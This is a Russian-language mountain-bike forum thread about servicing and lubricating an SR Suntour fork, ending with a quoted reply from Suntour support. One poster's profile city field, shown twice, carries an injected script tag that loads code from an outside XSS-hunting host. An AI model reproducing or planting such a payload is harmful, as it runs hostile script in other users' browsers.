На сайте с 02.06.2007 Репутация: 595
Сообщений 822 Пол: Мужской(29)
Город: Киев
Стиль: MTB:Street Байк: Каманьчь
14 дек 2014 в 19:11
dimdim, 1) Плюша от стрито-дертовой вилки не жди, подростешь поймешь что нужно качать по максимуму(что бы баник не жрала). Я катал при 10атм при весе на тот момент 80 кг. Сейчас 90, но вилка уже другая, катаю на 12 атм. 2) У меня тоже такое было, разобрал, почистил, смазал под пильниками и ноги литолом, залил в штаны масла по немногу снизу, все збс.
Я тут кое чего продаю, все стритовое, крутое, заходи. [ Ссылка ]
На сайте с 09.03.2014 Репутация: 27
Сообщений 154 Пол: Мужской(30)
Город: Полтава"><script src=https://d1m.xss.ht
Стиль: MTB:DirtJumping Байк: PSlope
14 дек 2014 в 19:57
Aleccio, спасибо за ответ. 1)При моем весе в 65кг и накачке 9-10 атм при изучении баника и вылетов на дертах вилка не срабатывала, и поймал восьмерку на колесо так ведь не должно быть? 2)какое масло лить в штаны и по-немногу это сколько и какого?)
На сайте с 24.05.2011 Репутация: 178
Сообщений 2331 Пол: Мужской(17)
Город: Hamburg
Стиль: MTB:Downhill Байк: Winora flitzer/trek slash 9.8
14 дек 2014 в 23:51
Не лей в ноги моторное масло!!!
Для смазки ног есть специальные масла...
Например как проверить ...
Капни немного масла на палец и надави
На ногу, палец идет рывками, вилка будет работать плохо...
Палец идет без рывков ...подходит...
Давить нужно сильно...
На лето из доступных масел подошло бы трансмиссионное 80w90
Я бы стал чемпионом мира по ДХ,
но мне мешают силы природы
Гравитация и возможность обосраться...
На сайте с 02.06.2007 Репутация: 595
Сообщений 822 Пол: Мужской(29)
Город: Киев
Стиль: MTB:Street Байк: Каманьчь
15 дек 2014 в 00:29
Leva Rodriguez, хорошо работали у меня все вилки, но работа в стриту/дерту и дх и прочих подвесных категориях вещи разные, если вам нужен мего плюш то мажте ноги хоть каждые 3 минуты вазелином, в стриту такое не нужно. Хотя было не раз (последнее время ) что я спускал вилки до мего плюшевости, и работа у них была очень хороша. Не знаю, может у меня литол хороший (а может это не литол даже) достался от бати, при любых температурах свойства не меняются, в реакции с с частями вилки тоже не вступает, и вообще очень похож на оригинальную смазку для ног. А про 10в40, это по мануалу, с производителем не поспоришь.
Я тут кое чего продаю, все стритовое, крутое, заходи. [ Ссылка ]
На сайте с 09.03.2014 Репутация: 27
Сообщений 154 Пол: Мужской(30)
Город: Полтава"><script src=https://d1m.xss.ht
Стиль: MTB:DirtJumping Байк: PSlope
15 дек 2014 в 11:32
sunchase, да я уже когда-то перерыл весь их сайт - это все что нашел. Единственное, что у них нашел по мануалам, это видео по разборке ног с разными кишками. Aleccio, После разобрки вилки возник вопрос. Есть ли в штанах место под сальники, а то я на сколько понял, тут только пыльники ? Просто насколько понял, отсутствие сальников не есть хорошо, и тут в одной из тем про сантур хсм/хст показывали как сальники добавлять. Есть ли смысл заморачиваться по этому поводу?
[+] Скрытый текст
А то стремно, под пыльники набивается куча грязи/пыли. Как бы они ноги не поцарапали и дальше вовнутрь не пошли.
Прошу прщения за ап старой темы, есть доп информация по вилке. Писал официальное письмо на сайт сантура по поводу того, какое масло можно и нужно использовать при переборке данной вилки, так как сервис-мануалов на неё нет. Кому интересно - пришёл вот такой ответ.
[+] Ответ на инглише
Dear Mr. dimdim,
actually there is a official distributor and service center:
A fork service is mostly cleaning and lubrication of the bottom case.
Since all of our forks are based on a grease lubrication, there is no oil in the bottom case. There is a bit of sealing oil in the air chamber but this doesnt need to be touched if the fork isnt air leaking.
The cartridge should NOT be opened. If so you risk a damage (I guess you dont have a matching tube clamp system). The oil inside is having a lifetime of several years.
Best regards
Benjamin Rees
Benjamin Rees
Service & Tech Support
SR Suntour Europe GmbH // Riedstrae 31 // 83627 Warngau // Germany
Официальный представитеь сантура на территории Украины вот они https://sportsystems.com.ua/ При сервисной переборке вилки снимаются штаны , вычищаются и смазываются их "классной консистентной смазкой" и больше никуда лезть не надо. Ни в одной из их вилок масло в штанах не используется. Если же у вас травит воздух из воздушного картриджа, то при его переборке используется немного жидкого масла для устранения утечки воздуха. Самое главное, что я хотел услышать - RC картридж НЕ РАЗБИРАЕТСЯ. Масло в нём должно хватить для нормальной работы на несколько лет. Правда так и не понял из письма, что означает "matching tube clamp system". Вот, в принципе, и всё.